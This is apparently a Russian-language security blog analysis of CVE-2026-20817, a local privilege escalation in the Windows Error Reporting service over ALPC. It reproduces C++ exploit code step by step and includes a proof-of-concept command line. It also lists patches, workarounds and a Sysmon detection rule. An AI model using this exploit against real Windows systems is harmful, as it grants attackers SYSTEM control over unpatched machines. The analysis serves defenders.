Уязвимость в Windows Error Reporting Service
Уязвимость в Windows Error Reporting Service
Категория: Программы Теги: Уязвимости Опубликовано: 30 марта 2026

Уязвимость BDU:2026-00482 (CVE-2026-20817) Windows Error Reporting Service

Уязвимость BDU:2026-00482 (CVE-2026-20817) локального повышения привилегий (Local Privilege Escalation, LPE) в службе регистрации ошибок Windows (Windows Error Reporting). Исследователи выявили критический недостаток в механизме обработки запросов через протокол Advanced Local Procedure Call (ALPC), который позволяет непривилегированному локальному пользователю выполнить произвольный код с наивысшими привилегиями SYSTEM.

Анализ уязвимости

Уязвимость затрагивает компонент wersvc.dll — основную библиотеку службы, которая выполняется в контексте NT AUTHORITY\SYSTEM. Служба открывает ALPC-порт \WindowsErrorReportingService, через который любые процессы могут взаимодействовать с ней для отправки отчетов об ошибках. Именно в этой межпроцессной коммуникации скрывается корень проблемы.

Особенность данного уязвимого метода в том, что он принимает параметры от клиента через разделяемую память и запускает исполняемый файл WerFault.exe, передавая ему указанную клиентом командную строку. Служба выполняет это действие с повышенными привилегиями, что в данном случае приводит к созданию нового процесса с токеном SYSTEM. Проблема усугубляется тем, что служба не выполняет никаких проверок авторизации вызывающей стороны, поэтому даже процесс с низким уровнем целостности может инициировать создание такого процесса.

Microsoft выпустила исправление в рамках ежемесячного обновления безопасности в январе 2026 года. Однако, что примечательно, компания применила нестандартный подход к исправлению: вместо добавления проверок прав доступа или валидации входных параметров, разработчики полностью отключили уязвимую функциональность SvcElevatedLaunch, удалив целевую функцию из работы. Патч внедрил проверку __private_IsEnabled(), которая немедленно возвращает код ошибки 0x80004005 (E_FAIL), если вызывается уязвимый метод. Такое архитектурное решение указывает на то, что уязвимость была настолько структурно опасной, что Microsoft предпочла удалить саму возможность использования этого механизма, нежели пытаться его исправить локальными патчами.

Уровень опасности: 7.8 (HIGH)
Вектор атаки: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Расшифровка значений вектора атаки:

  • AV:L (Attack Vector: Local) — Вектор атаки: локальный. Для эксплуатации требуется локальный доступ к целевой системе. Атака не может быть выполнена удалённо.

  • AC:L (Attack Complexity: Low) — Сложность атаки: низкая. Злоумышленник может выполнить атаку без специальных знаний о целевой системе или условиях, так как уязвимый код не требует обхода сложных механизмов защиты.

  • PR:L (Privileges Required: Low) — Требуемые привилегии: низкие. Злоумышленник должен иметь возможность аутентифицироваться в системе и выполнять код с минимальными правами пользователя.

  • UI:N (User Interaction: None) — Взаимодействие с пользователем: не требуется. Атака может быть выполнена без какого-либо участия другого пользователя системы.

  • S:U (Scope: Unchanged) — Область действия: не изменяется. Компрометация уязвимого компонента не выходит за пределы его зоны ответственности.

  • C:H (Confidentiality: High) — Конфиденциальность: оказывает высокое влияние. При успешной эксплуатации злоумышленник получает полный доступ к любым данным в системе.

  • I:H (Integrity: High) — Целостность: оказывает высокое влияние. Злоумышленник может модифицировать любые данные в системе.

  • A:H (Availability: High) — Доступность: оказывает высокое влияние. Злоумышленник может нарушить работу системы, завершить критические процессы или вызвать отказ в обслуживании.

Условия эксплуатации

Для успешной атаки с использованием CVE-2026-20817 (BDU:2026-00482) должны выполняться следующие условия:

  1. Наличие локального доступа к целевой системе. Поскольку вектор атаки классифицирован как локальный (AV:L), злоумышленник должен иметь возможность выполнять код непосредственно на уязвимом компьютере.

  2. Аутентифицированный пользователь с низкими привилегиями (PR:L). Злоумышленник должен иметь действующую учётную запись в системе. При этом не требуются административные права — достаточно стандартных прав обычного пользователя, включая гостевые или временные аккаунты.

  3. Работающая служба Windows Error Reporting Service (WerSvc). В большинстве установок Windows эта служба включена по умолчанию, так как является частью стандартной конфигурации для отправки отчётов об ошибках в Microsoft.

  4. Доступность ALPC-порта \WindowsErrorReportingService. Порт должен быть открыт и доступен для подключения. Это зависит от состояния службы WER и конфигурации безопасности системы. По умолчанию порт доступен для всех аутентифицированных пользователей, что делает его легкодоступной целью.

  5. Отсутствие установленного обновления безопасности от января 2026 года. Патч Microsoft, выпущенный 13 января 2026 года, полностью устраняет уязвимость, отключая уязвимую функциональность.

Технический анализ уязвимости

Архитектура службы Windows Error Reporting

Служба Windows Error Reporting (WER) является встроенным компонентом Windows, предназначенным для сбора информации о сбоях приложений и системных компонентах, а также для отправки этой информации в Microsoft для анализа и улучшения стабильности системы. Основной исполняемый модуль службы — wersvc.dll, загружается процессом svchost.exe и работает с привилегиями NT AUTHORITY\SYSTEM. Именно этот высокий уровень привилегий делает службу привлекательной целью для атак локального повышения прав.

WER предоставляет интерфейс для взаимодействия с другими процессами через механизм Advanced Local Procedure Call (ALPC). ALPC — это высокопроизводительный протокол межпроцессного взаимодействия, используемый в современных версиях Windows для обмена сообщениями между процессами и режимами (пользовательским и ядра). Служба WER открывает ALPC-порт с именем \WindowsErrorReportingService (в некоторых источниках упоминается \WindowsErrorReportingServicePort), через который любые процессы (при соблюдении определённых условий доступа) могут отправлять запросы на обработку отчётов об ошибках.

При получении ALPC-сообщения служба WER анализирует заголовок сообщения, который содержит поле MessageType, определяющее тип запроса. Среди поддерживаемых методов есть метод с идентификатором 0x0D, который в исходном коде службы называется SvcElevatedLaunch. Этот метод предназначен для запуска процесса WerFault.exe с повышенными привилегиями для выполнения задач, связанных с обработкой критических ошибок.

Природа уязвимости

Суть проблемы заключается в полном отсутствии проверки прав вызывающего клиента в обработчике метода SvcElevatedLaunch. Служба WER не выполняет верификацию мандата безопасности (security context) клиента, подключившегося к ALPC-порту, и не проверяет уровень целостности (integrity level) или привилегии процесса-клиента.

В нормальной ситуации служба, предоставляющая механизм запуска процессов с повышенными привилегиями, должна выполнять строгие проверки:

  • Проверку, что клиент обладает необходимыми привилегиями (например, SeTcbPrivilege или членство в группе Administrators).

  • Проверку, что уровень целостности клиента соответствует требуемому (например, High Integrity Level).

  • Валидацию входных параметров, особенно тех, которые могут повлиять на создаваемый процесс (командная строка, рабочая директория, переменные окружения).

  • Проверку безопасности объекта разделяемой памяти, переданного клиентом.

В уязвимой версии службы ни одна из этих проверок не выполняется. Клиент может передать службе произвольную командную строку через разделяемую память, и служба, не задумываясь о безопасности, вызовет CreateProcess (или аналогичный API) для запуска WerFault.exe с этой командной строкой в контексте SYSTEM.

Microsoft применила необычный подход к исправлению. Вместо добавления проверок прав или санитизации входных параметров, разработчики полностью отключили функциональность SvcElevatedLaunch.

Анализ кода эксплоита

Для понимания работы вектора атаки с использованием этой уязвимости, рассмотрим код эксплоита, опубликованный исследователем. Код написан на C++ с использованием прямых вызовов системных API (Native API) и демонстрирует полный цикл эксплуатации. Анализ будет сосредоточен на критических компонентах, демонстрирующих технические детали атаки.

1. Структура ALPC-сообщения

Эксплоит определяет структуру данных, которая будет отправлена службе WER через ALPC:

#pragma pack(push, 1)
struct WER_ALPC_MESSAGE {
    DWORD messageType;           // Тип сообщения (обычно 0)
    DWORD method;                // Метод вызова (0x0D для SvcElevatedLaunch)
    DWORD processId;             // PID процесса-клиента
    DWORD sharedMemoryHandle;    // Дескриптор разделяемой памяти (как DWORD)
    DWORD commandLineLength;     // Длина командной строки в байтах
    WCHAR commandLine[260];      // Буфер для командной строки (резервный)
};
#pragma pack(pop)

Технический анализ структуры:

  • messageType: Обычно устанавливается в 0. Этот параметр может использоваться службой для различения типов запросов. В контексте эксплуатации значение не критично.

  • method: Ключевой параметр, определяющий, какой метод службы будет вызван. Значение 0x0D (13 в десятичной системе) соответствует SvcElevatedLaunch. Именно этот метод содержит уязвимость.

  • processId: Идентификатор процесса клиента (эксплоита). Служба WER может использовать это значение для получения дополнительной информации о клиенте через системные вызовы типа ZwOpenProcess. В уязвимом коде это значение не проверяется.

  • sharedMemoryHandle: Дескриптор объекта разделяемой памяти, который клиент передаёт серверу. Это критический параметр — через него злоумышленник передаёт командную строку для выполнения. Обратите внимание, что дескриптор передаётся как 32-битное значение (DWORD), что обеспечивает совместимость между 32-битными и 64-битными системами.

  • commandLineLength: Длина командной строки в байтах. Используется службой для ограничения чтения из разделяемой памяти.

  • commandLine[260]: Резервный буфер для командной строки. Однако в эксплоите основное внимание уделяется передаче через разделяемую память, а не через этот буфер.

Использование #pragma pack(push, 1) гарантирует, что структура будет упакована без выравнивания (padding), что критично для правильной передачи через ALPC, так как протокол ожидает точные размеры и смещения полей.

2. Подключение к ALPC-порту

Эксплоит использует функцию ConnectToWerAlpcPort() для установления соединения с уязвимой службой. Рассмотрим этот код подробно:

HANDLE ConnectToWerAlpcPort() {
    HANDLE hPort = NULL;
    UNICODE_STRING portName;
    pRtlInitUnicodeString(&portName, WER_ALPC_PORT_NAME);  // L"\\WindowsErrorReportingService"
    
    // Проверка текущего уровня олицетворения процесса
    HANDLE hToken = NULL;
    OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
    SECURITY_IMPERSONATION_LEVEL currentLevel;
    if (GetTokenInformation(hToken, TokenImpersonationLevel, &currentLevel, ...)) {
        printf("[*] Current impersonation level: %d\n", currentLevel);
    }
    CloseHandle(hToken);
    
    // Настройка параметров порта
    ALPC_PORT_ATTRIBUTES portAttributes = { 0 };
    portAttributes.MaxMessageLength = sizeof(WER_ALPC_MESSAGE) + 0x1000;
    
    // Настройка уровня олицетворения для соединения
    SECURITY_QUALITY_OF_SERVICE sqos = { 0 };
    sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
    sqos.ImpersonationLevel = SecurityImpersonation;  // Уровень олицетворения
    sqos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING;
    sqos.EffectiveOnly = FALSE;
    
    // Структура приветственного сообщения (connection message)
    struct ConnectMessage {
        ULONG MessageId;
        ULONG Unknown;
    } connectMsg = { 0 };
    connectMsg.MessageId = 0x0D;  // Некоторые серверы ожидают ID метода здесь
    
    // Вызов NtAlpcConnectPort для подключения
    NTSTATUS status = NtAlpcConnectPort(
        &hPort,
        &portName,
        NULL,          // ObjectAttributes
        &portAttributes,
        0,             // Flags
        &sqos,
        &connectMsg,
        &msgSize,
        NULL,          // ConnectionInfo
        NULL
    );
    
    // Обработка ошибок (особенно STATUS_BAD_IMPERSONATION_LEVEL)
    if (status == 0xC0000078) {  // STATUS_BAD_IMPERSONATION_LEVEL
        // Повтор с более высоким уровнем олицетворения
        sqos.ImpersonationLevel = SecurityDelegation;
        status = NtAlpcConnectPort(...);
    }
    
    return hPort;
}

Ключевые технические моменты:

  • ALPC_PORT_ATTRIBUTES: Структура, определяющая атрибуты создаваемого порта. Поле MaxMessageLength установлено в размер сообщения плюс 0x1000 байт (4096 байт) резерва, что обеспечивает достаточно места для ответных сообщений.

  • SECURITY_QUALITY_OF_SERVICE: Определяет параметры безопасности для соединения. Поле ImpersonationLevel критически важно. Эксплоит обрабатывает эту ситуацию, повторяя попытку с уровнем SecurityDelegation.

  • NtAlpcConnectPort: Это системный вызов из Native API, недокументированный для прикладного использования. Эксплоит получает его адрес через GetProcAddress из ntdll.dll. Использование прямых системных вызовов, а не обёрток WinAPI, часто необходимо для работы с ALPC, так как WinAPI не предоставляет высокоуровневых функций для этого механизма.

  • Приветственное сообщение (connectMsg): Некоторые ALPC-серверы ожидают определённые данные при установке соединения. Эксплоит передаёт структуру, содержащую ID метода 0x0D, что может быть необходимо для правильной инициализации сессии.

3. Создание разделяемой памяти

Эксплоит создаёт объект разделяемой памяти (section object) для передачи командной строки службе WER:

// Размер разделяемой памяти (520 байт)
const SIZE_T SHARED_MEMORY_SIZE = 0x208;

// Создание объекта File Mapping (разделяемая память)
HANDLE hSharedMemory = CreateFileMapping(
    INVALID_HANDLE_VALUE,   // Файл не используется, только память
    NULL,                   // Атрибуты безопасности по умолчанию
    PAGE_READWRITE,         // Страницы доступны для чтения и записи
    0,                      // Высокое 32-битное значение размера (0)
    SHARED_MEMORY_SIZE,     // Низкое 32-битное значение размера
    NULL                    // Безымянный объект
);

// Отображение памяти в адресное пространство процесса
void* pSharedView = MapViewOfFile(
    hSharedMemory,
    FILE_MAP_WRITE,         // Права на запись
    0, 0,                   // Смещение в файле (не используется)
    SHARED_MEMORY_SIZE
);

// Запись командной строки в разделяемую память
std::wstring command = L"C:\\Windows\\System32\\cmd.exe /c whoami > C:\\poc_wer.txt & calc.exe";
wcscpy_s((wchar_t*)pSharedView, SHARED_MEMORY_SIZE / sizeof(wchar_t), command.c_str());

Важные детали:

  • Размер разделяемой памяти выбран как 0x208 (520 байт). Этого достаточно для большинства командных строк. 520 байт позволяют разместить командную строку длиной до 260 символов (WCHAR занимает 2 байта).

  • CreateFileMapping с INVALID_HANDLE_VALUE создаёт объект памяти. Такой объект идеально подходит для временного обмена данными.

  • После создания разделяемой памяти эксплоит записывает в неё командную строку. В примере используется команда cmd.exe /c whoami > C:\poc_wer.txt & calc.exe, которая выводит имя текущего пользователя в файл и запускает калькулятор. В реальной атаке здесь может быть команда для запуска бэкдора, загрузки дополнительных полезных нагрузок (payloads) из интернета или установки постоянства.

4. Отправка вредоносного ALPC-сообщения

После создания разделяемой памяти и подключения к порту эксплоит отправляет сообщение с методом 0x0D:

BOOL SendAlpcMessage(HANDLE hPort, HANDLE hSharedMemory, const std::wstring& command) {
    // Формирование структуры сообщения
    WER_ALPC_MESSAGE alpcMsg = { 0 };
    alpcMsg.method = 0x0D;  // WER_ELEVATED_LAUNCH_METHOD
    alpcMsg.processId = GetCurrentProcessId();
    alpcMsg.sharedMemoryHandle = (DWORD)(ULONG_PTR)hSharedMemory;
    alpcMsg.commandLineLength = (DWORD)command.size() * sizeof(wchar_t);
    alpcMsg.messageType = 0;
    
    // Структуры для ответного сообщения
    WER_ALPC_MESSAGE replyMsg = { 0 };
    SIZE_T replySize = sizeof(replyMsg);
    PVOID replyBuffer = NULL;
    SIZE_T sendMessageLength = sizeof(alpcMsg);
    
    // Отправка сообщения через ALPC
    NTSTATUS status = NtAlpcSendWaitReceivePort(
        hPort,               // Дескриптор порта
        0,                   // Флаги (0 = стандартное поведение)
        &alpcMsg,            // Указатель на отправляемое сообщение
        &sendMessageLength,  // Размер отправляемого сообщения
        &replyMsg,           // Буфер для ответного сообщения
        &replySize,          // Размер буфера ответа
        &replyBuffer,        // Дополнительный буфер ответа (может быть NULL)
        NULL                 // Тайм-аут (NULL = бесконечный)
    );
    
    return (status == 0);
}

Ключевые аспекты:

  • Приведение типа дескриптора(DWORD)(ULONG_PTR)hSharedMemory — дескриптор (который в 64-битных системах занимает 8 байт) приводится к 32-битному значению. Это допустимо, потому что дескрипторы в Windows являются 32-битными значениями, даже в 64-битных системах (хотя компилятор представляет их как HANDLE, который является указателем, значения остаются в диапазоне 0-2^32).

  • Вычисление длины командной строкиcommand.size() * sizeof(wchar_t) вычисляет размер в байтах. Умножение необходимо, так как std::wstring::size() возвращает количество символов, а не байтов. В Windows wchar_t занимает 2 байта (UTF-16).

  • Ожидание ответаNtAlpcSendWaitReceivePort отправляет сообщение и ожидает ответа от сервера. Это синхронный вызов. В случае успеха служба WER должна вернуть некоторый код, но эксплоит не анализирует ответ подробно, так как даже в случае ошибки команда могла уже выполниться.

5. Управление привилегиями и диагностика

Эксплоит также включает функции для управления привилегиями процесса, что важно для обеспечения успешного подключения к ALPC-порту:

BOOL EnablePrivilege(LPCSTR lpszPrivilegeName) {
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    
    // Открытие токена процесса
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    
    // Получение LUID для запрашиваемой привилегии
    LookupPrivilegeValueA(NULL, lpszPrivilegeName, &luid);
    
    // Настройка структуры TOKEN_PRIVILEGES
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    // Включение привилегии в токене
    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}

Эксплоит пытается включить SeDebugPrivilege и SeImpersonatePrivilege. Хотя эти привилегии не являются строго необходимыми для успешной эксплуатации (уязвимость работает и без них), их включение может помочь в диагностике и последующих действиях после повышения привилегий.

6. Диагностика полученных привилегий

После отправки вредоносного сообщения эксплоит ищет процесс WerFault.exe и анализирует его токен для демонстрации полученных привилегий:

void FindAndPrintWerFaultToken() {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    
    if (Process32First(hSnapshot, &pe32)) {
        do {
            if (_wcsicmp(pe32.szExeFile, L"WerFault.exe") == 0) {
                HANDLE hWerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
                HANDLE hWerToken;
                if (OpenProcessToken(hWerProcess, TOKEN_QUERY, &hWerToken)) {
                    // Извлечение и вывод информации о токене
                    PrintProcessTokenPrivileges(hWerToken);
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    }
}

Эта функция демонстрирует, какие привилегии получил новый процесс WerFault.exe. В успешном случае в выводе должны присутствовать SeDebugPrivilege и SeImpersonatePrivilege.

7. Полный цикл эксплоита

Объединяя все компоненты, эксплоит выполняет следующую последовательность действий:

  1. Инициализация: Получение адресов функций Native API из ntdll.dll (NtAlpcConnectPortNtAlpcSendWaitReceivePortNtClose).

  2. Настройка привилегий: Попытка включить SeDebugPrivilege и SeImpersonatePrivilege в токене текущего процесса.

  3. Создание разделяемой памяти: Вызов CreateFileMapping и MapViewOfFile для создания области памяти, содержащей командную строку.

  4. Подключение к ALPC-порту: Установка соединения с \WindowsErrorReportingService с использованием подходящего уровня.

  5. Формирование сообщения: Заполнение структуры WER_ALPC_MESSAGE с методом 0x0D, PID процесса, дескриптором разделяемой памяти и длиной командной строки.

  6. Отправка сообщения: Вызов NtAlpcSendWaitReceivePort для передачи сообщения службе WER.

  7. Диагностика: Поиск процесса WerFault.exe и вывод информации о его токене для подтверждения повышения привилегий.

Способы защиты

Приоритетные меры

  1. Установка обновлений безопасности Microsoft от января 2026 года. Это наиболее надёжный и рекомендуемый способ защиты. Следующие обновления устраняют уязвимость:

Операционная система Номер обновления Сборка
Windows Server 2025 KB5073379 10.0.26100.32230
Windows 11 24H2 KB5074109 10.0.26100.7623
Windows 11 23H2 KB5073455 10.0.22631.6491
Windows 11 25H2 KB5074109 10.0.26200.7623
Windows 10 22H2 KB5073724 10.0.19045.6809
Windows 10 21H2 KB5073724 10.0.19044.6809
Windows Server 2022 KB5073457 10.0.20348.4648
  1. Мониторинг обновлений через Microsoft Update или WSUS (Windows Server Update Services). Администраторам следует настроить автоматическое развёртывание критических обновлений безопасности для обеспечения своевременной защиты всех систем в корпоративной среде.

Дополнительные меры защиты (при невозможности немедленной установки патча)

  1. Отключение службы Windows Error Reporting Service (WerSvc). Это временная мера, которая нейтрализует вектор атаки, так как уязвимый ALPC-порт становится недоступным.

  2. Настройка групповой политики (Group Policy) для отключения WER. В среде Active Directory администраторы могут централизованно отключить Windows Error Reporting для всех или выбранных компьютеров в домене.

  3. Мониторинг и обнаружение аномалий. Важно настроить системы обнаружения вторжений (IDS) и средства SIEM для выявления признаков эксплуатации уязвимости:

    • Мониторинг событий безопасности Windows (Event Logs):

      • События создания процессов с указанием родительского процесса. Особое внимание следует уделять процессам WerFault.exe, запущенным с необычным родительским процессом (например, svchost.exe с запущенной службой WER) или с нестандартными параметрами командной строки.

      • События подключения к ALPC-портам (при включённом аудите ALPC через ETW).

      • Необычно высокая частота вызовов WerFault.exe за короткий промежуток времени.

    • Использование Sysmon (System Monitor) от Microsoft:

      • Событие создания процесса с детальным анализом командной строки WerFault.exe.

      • Событие подключения к именованным каналам, которое может захватывать ALPC-соединения.

Пример правила для аудита Sysmon (конфигурационный файл XML):

<Sysmon>
    <EventFiltering>
        <ProcessCreate onmatch="include">
            <TargetImage condition="is">WerFault.exe</TargetImage>
            <ParentImage condition="end with">svchost.exe</ParentImage>
            <CommandLine condition="contains">cmd.exe</CommandLine>
            <CommandLine condition="contains">/c</CommandLine>
        </ProcessCreate>
    </EventFiltering>
</Sysmon>
Алексей Черемных Алексей Черемных
105